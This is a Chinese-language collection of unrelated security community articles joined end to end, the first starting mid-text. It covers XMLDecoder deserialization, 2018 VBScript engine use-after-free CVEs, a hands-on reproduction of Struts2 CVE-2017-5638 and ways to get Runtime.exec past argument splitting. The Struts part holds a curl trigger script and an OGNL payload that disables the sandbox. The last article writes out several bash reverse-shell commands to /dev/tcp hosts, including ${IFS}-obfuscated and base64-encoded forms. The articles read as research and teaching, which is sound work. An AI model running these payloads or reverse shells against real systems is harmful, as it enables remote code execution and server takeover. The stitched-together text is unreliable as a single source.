这次重点在于把class元素也禁用了，我们来看一下classelementhandler
这里我们classelementhandler继承的是stringhandler而且我们的类并不是通过属性传入的，所以可以肯定并不是我们之前的方式，但是他有一个很有意思的getValue方法，返回值就是我们传入的类，通过上面的分析，我们在一个元素结束的时候也就是endelement的方法会调用对应handler的getValueObject，这里因为classelementhandler没有getValueObject方法，所以会调用父类的getValueObject方法，也就是会调用stringelementhandler的getValueObject
然后会调用classelementhandler的getValue方法，最终返回对应的类，但是这里有个问题method关键词被ban了所以只能调用该类的构造方法，并且由于array只能传入byte属性，所以我们需要一个类的构造方法接受一个字节数组并且有类似反射或者readobject的敏感操作，网上大多都是通过UnitOfWorkChangeSet这个类进行反序列化操作的明显满足要求!!!所以接下来可以利用yso的jdk7u21的或者JtaTransactionManager
### 总结
payload太长就不发了，有兴趣的小伙伴可以自行构造，其实xmldecoder反序列化的问题最早在2013年就被提出了，理论上在JDK 1.4~JDK
11中都存在反序列化漏洞安全风险，并且使用黑名单来打补丁的方式始终不太靠谱，总感觉在不久的将来会出现下一个cve-xxxx-xxxx | 社区文章 |
# VBScript in 2018
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 背景
VBScript是微软开发的一款脚本语言，是Visual
Basic的轻量级的版本。使用VBScript可以快速高效地开发出一些浏览器客户端和服务端的应用程序。然而随着DVE技术的公布以及在CVE-2014-6332、CVE-2016-0189中的稳定利用，VBScript开始被认为并不是那么安全了。很快微软在Windows
10 Fall Creators Update版本中对于Internet Explorer(IE)浏览器的Internet Zone和Restricted
Sites
Zone默认禁用了VBScript。但是这似乎并未减缓关于VBScript的在野漏洞利用攻击，相反，随着Adobe宣布2020年Flash正式退役，Hacker们似乎开始把重点转向了VBScript这个几乎被遗弃的脚本引擎。于是在2018年我们看到了CVE-2018-8174，CVE-2018-8373
这类0Day攻击事件以及相当数量的关于VBScript的CVE和研究报告。
笔者在学习了部分研究报告和调试了部分PoC后，决定对2018年VBScript的漏洞做个简单的归类总结，与大家分享，希望对关于VBScript的漏洞挖掘和分析有所帮助。但水平有限，文中错误之处恳请斧正。
## 0x01 分析
2018年关于VBScript的CVE不少，这里笔者筛选了6个比较有代表性的CVE分两类进行分析。
### Type 1: Class_Terminate Callback
VBScript存在类的概念，VBScript类支持两个事件：Class_Initialize和Class_Terminate。在类实例化的时候会触发Class_Initialize事件，同样在类实例被销毁的时候会触发Class_Terminate事件。VBScript支持在脚本中通过添加自定义Class_Initialize或Class_Terminate事件的方法在脚本中手动做一些初始化或者释放的操作。也就是说自定义Class_Terminate给了VBScript引擎执行过程一次脚本回调的机会，如果在脚本回调过程中手动修改了一些数据，就可能触发一些未知的情形。
#### CASE 1：CVE-2018-1004
**1.PoC**
PoC执行流程：
1） 创建一个动态数组arr
2） 创建一个MyClass对象实例并保存到arr的第一个元素
3） 调用Erase函数逐个删除arr里的元素
4） 因为arr的第一个元素保存了MyClass对象实例，MyClass对象实例在析构的时候会调用脚本里的Class_Terminate函数
5） Class_Terminate重新定义的arr
**2.Debug**
1）Set arr(0) = new MyClass
2）Erase a -> Class_Terminate -> ReDim Preserve a(1)
3) Erase a -> OLEAUT32!VariantClear-> crash
**3.Root Cause**
关于PoC的关键代码，VBScript引擎的执行过程如下图所示：
VBScript中的数组是由OLEAUT32的SAFEARRAY结构体定义的。
VbsErase通过调用OLEAUT32!_SafeArrayDestroyData释放数组元素，OLEAUT32!_SafeArrayDestroyData会遍历数组元素并将每个数组元素的地址传给OLEAUT32!VariantClear逐个清除数组元素：
OLEAUT32!VariantClear中如果元素是对象，且对象的引用计数为0，则调用该对象的析构函数，从而触发脚本函数Class_Terminate的回调。在Class_Terminate重新定义了arr的大小，导致原始arr
buffer被释放，但是OLEAUT32!VariantClear中依然保留了原始arr buffer地址，当再次访问该地址时触发crash。
#### CASE 2：CVE-2018-8174
CVE-2018-8174是360发现的一个在野0Day攻击样本。关于其具体利用代码分析可以参考360的Blog。
**1.PoC**
PoC执行流程：
1） 创建一个数组arr
2） 创建一个MyClass对象实例并保存到arr的第一个元素
3） 调用Erase函数逐个删除arr里的元素
4） 因为arr的第一个元素保存了MyClass对象实例，MyClass对象实例在析构的时候会调用脚本里的Class_Terminate函数
5） Class_Terminate里将MyClass对象实例的引用保存到变量o，并释放自身引
6） 访问变量o
**2.Debug**
1）Set arr(0) = new MyClass
2）Erase a -> Class_Terminate （转移MyClass对象实例的引用到变量o）
3) msgbox o (通过变量o访问MyClass对象实例)
**3.Root Cause**
关于PoC的关键代码，VBScript引擎的执行过程如下图所示：
可以看到漏洞触发的流程和CVE-2018-1004较为相似，不同的是
CVE-2018-1004是在脚本回调函数Class_Terminate中释放了原始arr的buffer，而CVE-2018-8174则是在MyClass对象实例被析构前转移（读取）了MyClass对象实例的引用。
#### CASE 3：CVE-2018-8242
CVE-2018-8242是古河师傅分析了微软对CVE-2018-8174的补丁后，发现的一个新的漏洞。简单地说就是CVE-2018-8174的补丁只是禁止了在Class_Terminate中对VT_DISPATCH(Object)变量的读操作，但是并没有禁止在Class_Terminate中对VT_DISPATCH(Object)变量的写操作，然而写操作依然存在漏洞：
**1.PoC**
PoC执行流程：
1） 创建一个数组arr
2） 创建一个MyClass对象实例并保存到arr的第一个元素
3） 调用Erase函数逐个删除arr里的元素
4） 因为arr的第一个元素保存了MyClass对象实例，MyClass对象实例在析构的时候会调用脚本里的Class_Terminate函数
5） Class_Terminate里再次调用Erase清除数组元素
**2.Debug**
1）Set arr(0) = new MyClass
2）Erase a(1st) -> Class_Terminate -> Erase a(2nd)
3) Class_Terminate -> Erase a(1st)
**3.Root Cause**
关于PoC的关键代码，VBScript引擎的执行过程如下图所示：
与CVE-2018-8174类似，这次在Class_Terminate再次尝试释放正在处于半释放状态下的VBScriptClass，最终触发Double
Free。
#### CASE 4：CVE-2018-8544
上面的3个case都与Class_Terminate中的array操作相关，而微软在7月的补丁中直接禁止了Class_Terminate操作array，但是依然可以考虑用其他的容器代替array，实现类似的效果，比如Dictionary。
**1.PoC**
PoC执行流程：
1） 创建一个Dictionary对象
2） 创建一个MyClass对象实例实例并保存到Dictionary容器，其key为“foo“
3） 重新给key-“foo“赋值，导致MyClass对象实例被释放
4）
因为PoC中定义了MyClass的Class_Terminate函数，故MyClass对象实例在析构的时候会调用脚本里的Class_Terminate回调函数
5） Class_Terminate里调用Dictionary的RemoveAll函数，清空所有key-value
**2.Debug**
1）Set dict.Item(“foo”) = new MyClass
2）dict.Item(“foo”) = 0 -> Class_Terminate -> dict.RemoveAll
3) End Class_Terminate
**3.Root Cause**
关于PoC的关键代码，VBScript引擎的执行过程如下图所示：
虽然微软在CVE-2018-8242的补丁中彻底禁止了在Class_Terminate脚本回调中对数组的操作：
但是仍然可以找到其他可以替代arr的容器，比如这里的Dictionary。其漏洞原理和CVE-2018-8242相似，同样是在Class_Terminate再次尝试释放（dict.RemoveAll）正在处于半释放状态下的VBScriptClass，最终触发Double
Free。
### Type 2: Default Property Get Callback
Default Property Get用来获取类实例的缺省属性，当尝试将一个类实例转换成一个字符串对象时，如果脚本中定义了Default Property
Get函数，则会触发该函数的脚本回调。与Class_Terminate回调原理类似，如果在脚本回调Default Property
Get过程中手动修改了一些数据，亦可能触发一些未知的执行过程。
#### CASE 5：CVE-2018-8373
CVE-2018-8373是Trend Micro发现的另一个在野0Day攻击样本。关于其具体利用代码分析可以参考Trend的Blog。
**1.PoC**
PoC执行流程：
1） 创建一个数组arr
2） 创建一个MyClass对象实例并将对象的值保存到arr的第三个元素arr(2)
3） 取MyClass对象实例的值时会触发脚本函数Default Property Get的调用
4） 回调函数Default Property Get中重新定义的arr，导致原arr buffer被释放
5） MyClass对象的值保存到原arr(2)地址中
**2.Debug**
1）arr(2) = new MyClass: 先计算左值arr(2)地址
2）arr(2) = new MyClass: 再计算右值，触发Default Property Get回调，修改了arr大小
3) arr(2) = new MyClass：右值保存到左值
**3.Root Cause**
关于PoC的关键代码，VBScript引擎的执行过程如下图所示：
这次的回调利用的是Default Property
Get，可以发现其触发流程与CVE-2018-1004类似，不同的是CVE-2018-1004是在Class_Terminate回调中修改了arr的buffer，而CVE-2018-8373则是在Default
Property Get回调中修改了arr的buffer。
#### CASE 6：CVE-2018-8552
CVE-2018-8552是Google Project Zero Fuzz出来的一个漏洞，通过分析可以发现其与CVE-2018-8373相似之处。
**1.PoC**
PoC执行流程：
1） 创建一个数组arr，其中一个元素为MyClass对象实例
2） Filter函数用来返回一个以特定过滤条件为基础的字符串数组的子集
3） Filter函数内遍历到MyClass对象实例时，触发脚本函数Default Property Get的调用
4） 回调函数Default Property Get中重新定义的arr，导致原arr buffer被释放
**2.Debug**
1）arr = Array(“b”, “b”, “a”, “a”, new MyClass)
2）Call Filter(arr, “a”) -> Default Property Get -> ReDim Preserve arr(1)
3) Back Call Filter(arr, “a”)
**3.Root Cause**
关于PoC的关键代码，VBScript引擎的执行过程如下图所示：
微软在CVE-2018-8373的补丁中通过给数组加锁的方式禁止在类似arr(2) = new MyClass的回调函数Default Property
Get中修改数组的大小：
但是仍然可以找到其他替代方法在回调函数Default Property Get中修改数组的大小来触发漏洞，比如这里的Filter函数。
## 0x02 思考
### 1\. 脚本中的回调可能会导致未知的执行流程
通过上面的分析可以知道，脚本中的回调函数Class_Terminate，Default Property
Get会打乱脚本解析引擎的顺序执行流程，并且在脚本回到解析引擎之前执行一些非常规操作，比如修改正在访问的数组大小导致原数组buffer被释放，转移即将被释放的对象实例，释放即将被释放的对象实例等等。这就容易触发一些非预期的结果，比如UAF，OOB等等。如果能够发现一些新的回调方式或者触发回调的函数，就可能会有新的漏洞被发现。
### 2\. 补丁分析可能会有意外的收获
古河师傅的文章启发我们微软的补丁并非完美，比如有时候修复了一个数据类型的读漏洞（CVE-2018-8174）但是可能就忽略了写漏洞（CVE-2018-8242）。所以补丁分析对于发现一些新的漏洞是有帮助的。
这里笔者可以给坚持阅读到这的同学一个小彩蛋：通过对CVE-2018-8242的补丁分析知道微软对于在Class_Terminate中操作数组引发漏洞的修补方法是在进入OLEAUT32!_SafeArrayDestroyData前将数组的类型临时修改为VT_EMPTY，这样在Class_Terminate就不能操作数组了（此时数组类型是VT_EMPTY，尝试进行数组的操作会触发类型不匹配的运行时异常），最后在OLEAUT32!_SafeArrayDestroyData返回后恢复数组的类型：
虽然不能再次在回调函数Class_Terminate里操作数组，但是被设置为VT_EMPTY类型的变量是否有可能被其他VARIANT再次占用呢？如果可以被占用，在OLEAUT32!_SafeArrayDestroyData返回后该VARIANT的类型又会被修改成数组类型，这里是不是就是一处类型混淆呢？：）
经试验在笔者最新打补丁的系统是可以触发crash的，感兴趣的话也可以尝试一下。
### 3\. GC相关的问题仍有待发现
GC是脚本中重要的一个特性，VBScript中主要通过引用计数方法来垃圾回收。如果引用计数错误的话就可能触发引用计数的泄露问题，比如文中未提到的CVE-2018-8625。同样可以注意到最近的两个在野0Day:
Flash CVE-2018-15982，Jscript CVE-2018-8653都是和GC相关。所以GC相关问题可能也会是后面发现漏洞的一个方向。
## 0x03 结论
2018年是VBScript漏洞挖掘与利用非常活跃的一年。两个被发现的在野0Day和相当数量的CVE说明Hacker们开始关注这个即将被微软淘汰的脚本引擎。有理由相信，只要VBScript不被微软从Windows中移除，接下来可能会有更多的漏洞甚至在野0Day攻击出现。
## 0x04 参考文献
1. <http://blogs.360.cn/post/cve-2018-8174-en.html>
2. <http://blogs.360.cn/post/from-a-patched-itw-0day-to-remote-code-execution-part-i-from-patch-to-new-0day.html>
3. <https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/> | 社区文章 |
翻译自： <https://blog.sqreen.io/in-code-we-struts/>
翻译：聂心明
# 休斯顿，我们有一个严重的安全问题
哎，对一个严重问题的大多数公众报道是这样的：“这里有一个严重的问题，你应该赶快去升级ASAS，否则你家小猫咪就会死掉了，你的灵魂将被放在山上燃烧。”
如果你没有灵魂，也不在乎小猫，只要简单的把小猫换成“应用程序”，把“你的灵魂将被放在山上燃烧”换成“在凌晨4点钟打电话给正在休假的CEO”。
这篇文章的目的是：
* 帮助你复现 CVE-2017-5638 （ <https://www.cvedetails.com/cve/CVE-2017-5638/> ）
* 明白这次事件相关的技术，而不用成为一个安全专家
我个人只在Struts2 项目组中呆了几天，因此我对Struts 不是很熟悉
当一个漏洞被爆出的时候，首先关注的问题是：
* 我是否被攻击？我是否应该关注此次事件？
* 如果我被攻击了，漏洞被利用之后发生了什么？
首先，我们从读cve的数据库（ <https://nvd.nist.gov/vuln/detail/CVE-2017-5638> ）开始
安全问题会提交给一个叫cve（公共漏洞和暴露）的数据库中，很多安全事件会引用这个这个里面信息。
遇到漏洞首先要去查看这个漏洞的cvss（通用漏洞评分系统），它可以评估安全事件的严重程度。cvvs有10个等级，分数越高，影响越大。漏洞严重性要用cvss计算器（
<https://www.first.org/cvss/calculator/3.0> ）来计算评分。
这个漏洞的cvss评分是10，所以这个漏洞可以让黑客rce。换句话说，黑客可以对能访问到的远程服务器执行任意代码。比如，攻击者可以反弹一个shell (
<https://en.wikipedia.org/wiki/Shell_shoveling> )
,这样黑客不需要高级的黑客技术就可以得到一个服务器的console。
当然，当在某个组件中发现漏洞的时候，必须快速的升级软件，以避免收到漏洞的攻击。升级，说起来简单，但是有时候做起来却很困难，比如，如果你依赖一个非常老的库，但是这个库已经不再被支持了，或者你的客户需要你手动操作才能升级。
# 分析
从cve和Struts 的描述中得知 S2-045 （
<https://cwiki.apache.org/confluence/display/WW/S2-045> ）& S2-046 （
<https://cwiki.apache.org/confluence/display/WW/S2-046> ）所需要的条件
* 影响的版本是2.5.10
* 2.5.10.1不被影响，而且这个漏洞已经被修复
* 是某种方式的错误和文件上传相关
* 是一个远程命令漏洞
对比两个不同的版本，我们可以知道这个漏洞是怎样被修复的（
<https://github.com/apache/struts/compare/STRUTS_2_5_10...STRUTS_2_5_10_1> ）
在此刻，你应该能更准确的评估你是否受到影响，比如，如果你启用了详细类加载并且运行你的所有代码之后没有加载受影响的类，你可以说你没有受到此次事件的影响。
回到代码，我们看到在FileUploadInterceptor.intercept(…)方法中只有几行的改变（
<https://github.com/apache/struts/compare/STRUTS_2_5_10...STRUTS_2_5_10_1#diff-28391d46e56bece9a7aba6eadd9f3080R257>
） 。第一眼看上去，明显已经没有什么东西了，这种漏洞很容易通过代码审查而不被注意到。
这里还有一个可用的 metaspoilt模块 （ <https://github.com/rapid7/metasploit-framework>
），这意味着我们可用直接利用它，而不需要明白它的原理。这非常有趣，除了总是使用别人的工具以外，你不会学到任何有价值的东西，只会利用这些东西就意味着你只是一个野外的脚本小子。
可用我们仍然会去借鉴这个漏洞的思路，让后面的路更好走。寻找漏洞是一项全职的工作。它需要时间，资源，远远超过我们这些普通开发者的预期的知识。
换句话说，利用那些已经被前人发现的漏洞的时候，你获得了操纵星空的能力，但是失去了成为优秀天文学家的技能。
多说无益，让我们看代码！
我们不是Struts的专家，但是我们可以用一个简单的例子来开始。
这里，有一个官方的”file-upload“的例子似乎可以拿来用一下。
你可以使用git，maven和JDK去安装和运行它。
git clone https://github.com/apache/struts-examples
cd struts-examples/file-upload
不要管`pom.xml`中`struts2.version`直接添加`<properties>`标签：
<struts2.version>2.5.10</struts2.version>
把这个项目编译成maven app： `mvn clean install`
这个简单的应用要用到Jetty 插件：`mvn jetty:run`
现在你应该能打开`http://localhost:8080/file-upload/`了
如果我们把Struts 的版本从2.5.10升级到2.5.10.1，我们可以用`mvn dependency:tree`，这个指令只改变struts-core
对于这个漏洞有两个很重要的点：
* OGNL解析器被构造的HTTP头部注入
* 被注入的表达式可以执行任意代码
OGNL ( <https://commons.apache.org/proper/commons-ognl/language-guide.html>
)是一种基于表达式的语言，Struts 用它访问HTML模板中的对象，在一些场景中也可以执行代码。
漏洞来自于这两个相互通信的部分，用户输入的直接被注入到OGNL解析器中，因此可以执行任意代码。
# 第一步：注入头部并且可以到达OGNL 解析器中
在这一步中，我们要找到能够触发漏洞的代码，这段代码现在已经被移除了： intercept(…) （
<https://github.com/apache/struts/blob/f0f4e9ece77000e0eb0071bf233ed4b9bc9c8205/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L237>
）函数 中的 LocalizedTextUtil.findText(…) （
<https://github.com/apache/struts/blob/f0f4e9ece77000e0eb0071bf233ed4b9bc9c8205/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L264>
）
// intercept(...) method from Struts 2.5.10
// https://github.com/apache/struts/blob/f0f4e9ece77000e0eb0071bf233ed4b9bc9c8205/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L264
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext ac = invocation.getInvocationContext();
HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
if (!(request instanceof MultiPartRequestWrapper)) {
if (LOG.isDebugEnabled()) {
ActionProxy proxy = invocation.getProxy();
LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
}
return invocation.invoke();
}
ValidationAware validation = null;
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
validation = (ValidationAware) action;
}
MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
if (multiWrapper.hasErrors()) {
for (LocalizedMessage error : multiWrapper.getErrors()) {
if (validation != null) {
validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
}
}
}
// ...
找到这个条件最方便的方法是用最自己喜欢的IDE去调试:
* 使用`mvnDebug jetty:run`打开debug模式（它将在8000端口监听）
* 导入你的代码到IDE中，并且把远程调试端口附加到8000上。
* 打开 `FileUploadInterceptor`类，并且要求你的IDE去下载Struts源代码
* 在`intercept(...)`方法上下断点
* 在app中触发上传，寻找能够执行到`findText(...)`的条件
经过不断的实验和报错，你应该找到触发漏洞的两个条件：
* 你应该用multiple 上传文件，而不是multipart 上传
* 你需要有一些错误：`MultiPartRequestWrapper.getErrors()`不是空的，它委托`MultipartRequest`来检索错误。
MultipartRequest 有两种实现形式，仅仅有一种添加了这种错误：它在`JakartaMultiPartRequest.parse(...)`
public void parse(HttpServletRequest request, String saveDir) throws IOException {
try {
setLocale(request);
processUpload(request, saveDir);
} catch (FileUploadException e) {
LOG.warn("Request exceeded size limit!", e);
LocalizedMessage errorMessage;
if(e instanceof FileUploadBase.SizeLimitExceededException) {
FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;
errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});
} else {
errorMessage = buildErrorMessage(e, new Object[]{});
}
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
} catch (Exception e) {
LOG.warn("Unable to parse request", e);
LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
}
}
幸运的是（或者也是漏洞原理），当我们试图用OGNL 表达式注入HTTP头部的时候，因为Content-Type值是无效的导致错误被触发。
方便的是，这里有一个简单简单的脚本可以让攻击者用curl触发这个漏洞。这个HTTP头部触发了漏洞，但是没有尝试RCE。
#!/bin/bash
header="%{('multipart/form-data')}"
file1=$(tempfile)
file2=$(tempfile)
# we have to upload multiple files
curl http://localhost:8080/file-upload/upload.action \
-F upload=@${file1} \
-F upload=@${file2} \
-v \
-H "Content-type: ${header}" \
rm ${file1}
rm ${file2}
当我们试图去执行这个请求的时候，服务器端的一个错误被触发。
在调试过程中我们可以看到`LocalizedTextUtil.findText(...)`被调用。
我们现在可以看到`defaultMessage`参数中包含注入的头的值。恭喜你！我们终于到了第一步的结尾！如果阅读java文档中关于这个函数的说明，你会发现当没有找到本地化健值的话，就会调用OGNL
表达式去求值。
# 第二部：在OGNL中触发代码执行
从上一步来看，我们知道`LocalizedTextUtil.findText(...)`中参数`defaultMessage`的值如果是OGNL表达式的话，就会触发OGNL表达式代码执行。因此，我们只要找到一个合适的表达式就可以执行任意代码。
更方便的方式是，我发现可以把OGNL表达式快速的添加到项目的单元测试中。看了很多表达式漏洞的利用代码之后，我有了很多灵感去发现我想找的东西。
为了解决OGNL 表达式执行中需要的变量和对象，我们挖掘Struts
的源码，最后发现`XWorkTestCase`这个类可以提供大多数代码执行所需要的环境。
package io.sqreen.sandbox;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.TextProvider;
import com.opensymphony.xwork2.XWorkTestCase;
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
import com.opensymphony.xwork2.ognl.OgnlUtil;
import com.opensymphony.xwork2.ognl.OgnlValueStack;
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
import com.opensymphony.xwork2.util.CompoundRoot;
import com.opensymphony.xwork2.util.LocalizedTextUtil;
import com.opensymphony.xwork2.util.ValueStack;
import ognl.PropertyAccessor;
import org.junit.Test;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class TestOgnl extends XWorkTestCase {
private OgnlUtil ognlUtil;
@Override
public void setUp() throws Exception {
super.setUp();
ognlUtil = container.getInstance(OgnlUtil.class);
assertNotNull(ognlUtil); // first step : being able to initialize OgnlUtil class
}
@Test
public void testBasicOgnl() {
setupContext(true); // we start with safety checks disabled
// check very basic behavior : an unknown localized key is returned as-is
assertEquals("hello", getMissingLocalizedText("hello"));
}
@Test
public void testGetSystemProperty_easyMode() {
// still with safety checks disabled, we try to get a system property from OGNL expression
setupContext(true);
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
}
@Test
public void testGetSystemProperty_staticMethodDisabled() {
// with safety checks, we arent able to get a system property
setupContext(false);
assertEquals("", getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
}
@Test
public void testGetSystemProperty_bypassStaticMethodCheck() {
// here we reuse the available exploit to bypass safety checks.
// once this works, we have a malicious payload !
setupContext(false);
String ognl = Stream.of(
//
// this is disabling OgnlUtil static method access, directly taken from metaspoilt exploit
// here equivalent to executing in plain java :
//
// ognlUtil.setAllowStaticMethodAccess(Boolean.toString(true));
//
"(#[email protected]@DEFAULT_MEMBER_ACCESS).",
"(#_memberAccess?",
"(#_memberAccess=#dm):",
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).",
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).",
"(#ognlUtil.getExcludedPackageNames().clear()).",
"(#ognlUtil.getExcludedClasses().clear()).",
"(#context.setMemberAccess(#dm)))).",
//
// what we expect as output
"(@java.lang.System@getProperty('os.name'))"
).collect(Collectors.joining());
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{" + ognl + "}"));
}
private void setupContext(boolean allowStaticMethodAccess) {
ValueStack valueStack = createValueStack(allowStaticMethodAccess);
Map<String, Object> contextObjects = new HashMap<>();
ActionContext actionContext = new ActionContext(contextObjects);
actionContext.setValueStack(valueStack);
// action context is stored in a thread-local
ActionContext.setContext(actionContext);
}
private String getMissingLocalizedText(String defaultMessage) {
System.out.println(String.format("payload : %s", defaultMessage));
return LocalizedTextUtil.findText(TestOgnl.class, "text_that_does_not_exists", Locale.getDefault(), defaultMessage, new Object[0]);
}
private OgnlValueStack createValueStack(boolean allowStaticMethodAccess) {
OgnlValueStack stack = new MyValueStack(
container.getInstance(XWorkConverter.class),
(CompoundRootAccessor) container.getInstance(PropertyAccessor.class, CompoundRoot.class.getName()),
container.getInstance(TextProvider.class, "system"), allowStaticMethodAccess);
container.inject(stack);
// we have to set stack container
stack.getContext().put(ActionContext.CONTAINER, container);
ognlUtil.setAllowStaticMethodAccess(Boolean.toString(allowStaticMethodAccess));
return stack;
}
// we need to subclass because of protected OgnlValueStack constructor
// note that we could also have moved this test class to the same package to avoid this
private class MyValueStack extends OgnlValueStack {
public MyValueStack(XWorkConverter xWorkConverter, CompoundRootAccessor compoundRootAccessor, TextProvider textProvider, boolean allowStaticMethodAccess) {
super(xWorkConverter, compoundRootAccessor, textProvider, allowStaticMethodAccess);
}
}
}
`OgnlUtil`
类中的`setAllowStaticMethodAccess`函数和`setExcludedXXX`函数提供了大量安全检查，目的是为了阻止执行那些已知的可以造成安全隐患的类和函数。可是，因为这些集合是可变的，所以任意代码可以通过调用`OgnlUtil`的初始化代码很容易的禁用他们。
现在我们可以攻击任何东西了，只要使用一些像curl那样基本的http客户端工具就行了。可以参考
<https://gist.github.com/SylvainJuge/cd1b5c875ed27e6374e63caa550af813> 这个例子
# 我们从中可以学到什么呢？
在事后看来，一旦你了解其中的原理，这些就变得很容易了。但是还是会有很多安全事件会发生，因为许多分开的东西(可能永远不会在一起)以一种意想不到的方式连接在一起。作为开发者我们应该保持谦虚和包容，这样才能准确的处理所有的问题。
虽然可以通过花一点时间，修改几行代码来修复漏洞，但是谁都无法保证这个问题会再次发生。如果Struts （或者其他的web框架）是超人的话，那么OGNL
可能就是氪星石，把他们放在一起就可能会有危险。
虽然，OGNL
有一些安全问题，但是他不会被轻易的禁用。可以用白名单的方式去避免一些安全问题，但是，有一些表达式可以关掉白名单。如果使配置不可变，那么就可以避免绝大多数的攻击事件，有一件确定的事情就是
Effective Java （ <http://www.mypearsonstore.com/bookstore/effective-java-9780134685991> ）的读者注意了，如果你还没有读这本书的话，请在此处阅读并下载这本书。
这篇文章的长度快赶上一篇短篇小说了，我希望你能喜欢Equifax 这个以发布安全政策而闻名的快讯。
确保应用安全始终是不变的目标，写这篇文章的时候，漏洞已经公开一年了，并且已知的Struts 漏洞列表已经变得非常长了：CVE-2017-12611,
CVE-2017-9804, CVE-2017-9805, CVE-2017-9787, CVE-2017-5638, CVE-2018-1327,
CVE-2017-15707, CVE-2017-7672, CVE-2017-9793
# 关于我
Sylvain 是Sqreen 的软件工程师，他喜欢删代码，喜欢维护老的java代码，喜欢奶酪。 | 社区文章 |
## 前言
前面我们已经详细的跟进了一下JDK下Runtime#exec下的源码，知道了在使用`Runtime.getRuntime().exec`方法这个方式进行命令执行的最终会来到`ProcessBuilder#start`方法中进行命令执行
而我们可以观察到在`ProcessBuilder`类的构造方法中
针对传入的参数，限制了只能传入一个`List`对象或者一个数组
所以响应的`Runtime#exec`在传入的是一个字符串的时候，将会在将命令传入`ProcessBuilder`类之前，根据其中的逻辑进行分割成数组进行传入
但是在这种情况下，将会导致在执行一些bash命令的时候将命令的本意给更改，会造成命令执行不成功的情况
这里就是通过Fuzzing等手段进行Bypass这种限制使得能够成功执行命令，同时列出了几种这种情况的命令执行
## 绕过方法
### 传入数组参数
既然传入字符串的方式进行命令执行，会被限制，我们转而可以通过传入数组的形式进行绕过，前面也已经分析了，传入数组的方式是不会存在有分割的情况
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"})
### 使用Base64编码
如果限制了，只能够传入的字符串进行命令执行
这里就可以将需要执行的命令进行Base64编码，之后通过linux下的管道符进行base64解码之后进行命令执行
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAwMCAwPiYx}|{base64,-d}|{bash,-i}")
### Bypass原生exec
如果是既限制了必须传入字符串，又限制了命令执行的长度，上面两种方法就不太适用了
我们就需要寻找到一个能够直接传入原生的命令进行执行，这里也是本文的重点分析的点
根据之前文章的分析，主要是通过`StringTokenizer`类根据`\t\n\r\f`等字符进行分割的
首先我们调试下
我们希望执行的命令是`bash -i >& /dev/tcp/192.168.153.1/8000 0>&1`这条命令进行反弹shell
但是经过分割得到了
这样的命令，当然不能够反弹shell
如果想要绕过，我么就需要找到在linux的bash环境下和`StringTokenizer`类中的有关空格的`\t\n\r\f`这些字符之间的解析差异，达到在`StringTokenizer`类中不能够识别为空格，但是在bash环境中识别为空格
> 如果玩过CTF的朋友，就会觉得，这不就是个空格的Bypass RCE嘛
的确是的，我们根据在bash环境下的空格替代符来尝试性构造
#### ${IFS} Bypass
${IFS}这个是在CTF中常用的绕过空格的一种方法，能够在bash中替代空格
我们将反弹shell命令中的所有空格都使用`${IFS}`进行替代
之后T3协议发送数据包
？？？shell没有反弹成功？？
我们转而在bash中尝试下是否能够反弹shell
不能，而且报了一个错
但是这里只需要将最后的`${IFS}`去掉就能够成功在bash中反弹shell
但是，这样不能通过Runtime#exec的方法进行shell的反弹啊，我们就需要找到在这里不需要空格的方式
这里就需要对文件描述符和重定向有一定的了解了
`<` : 对应标准输入
`>` : 对应标准输出
`2>` : 对应标准错误输出
对于反弹shell中的命令串中的
`>&`就是将标准输出和标准错误输出重定向到对应文件中，而在后面的`0>&1`就是将标准输入重定向到了标准输出中
在反弹shell的原理中
`0>&1`和`0<&1`是等价的，都达到了同一个效果--将标准输入重定向到了标准输出中
我们知道在`> / <`这两个符号也变像是1 / 0这两个描述符的一种替代
我们这里就可以将0给去掉，直接使用`<&1`进行将标准输入重定向标准输出中，达到同样的效果，且能够避免使用空格
综上：
可以通过`/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.153.1/8000<&1`
进行反弹
能够反弹shell
#### `$IFS$9`
同样可以使用这个作为分隔符进行绕过
#### `$IFS`
使用这个也可以进行绕过
#### $@
在<https://blog.csdn.net/whatday/article/details/107098353中>
师傅找到了`$@`和`$*`这两种方法来绕过
这两个方式都能够获取脚本文件的参数列表
在文章中给出了一个实例
`/bin/bash -c '$@|bash' xx echo ls`
使用这种方式是能够执行`ls`命令的，也就是`$@`获取了`echo ls`然后通过管道符执行命令`ls`
也能够通过这种方式反弹shell | 社区文章 |
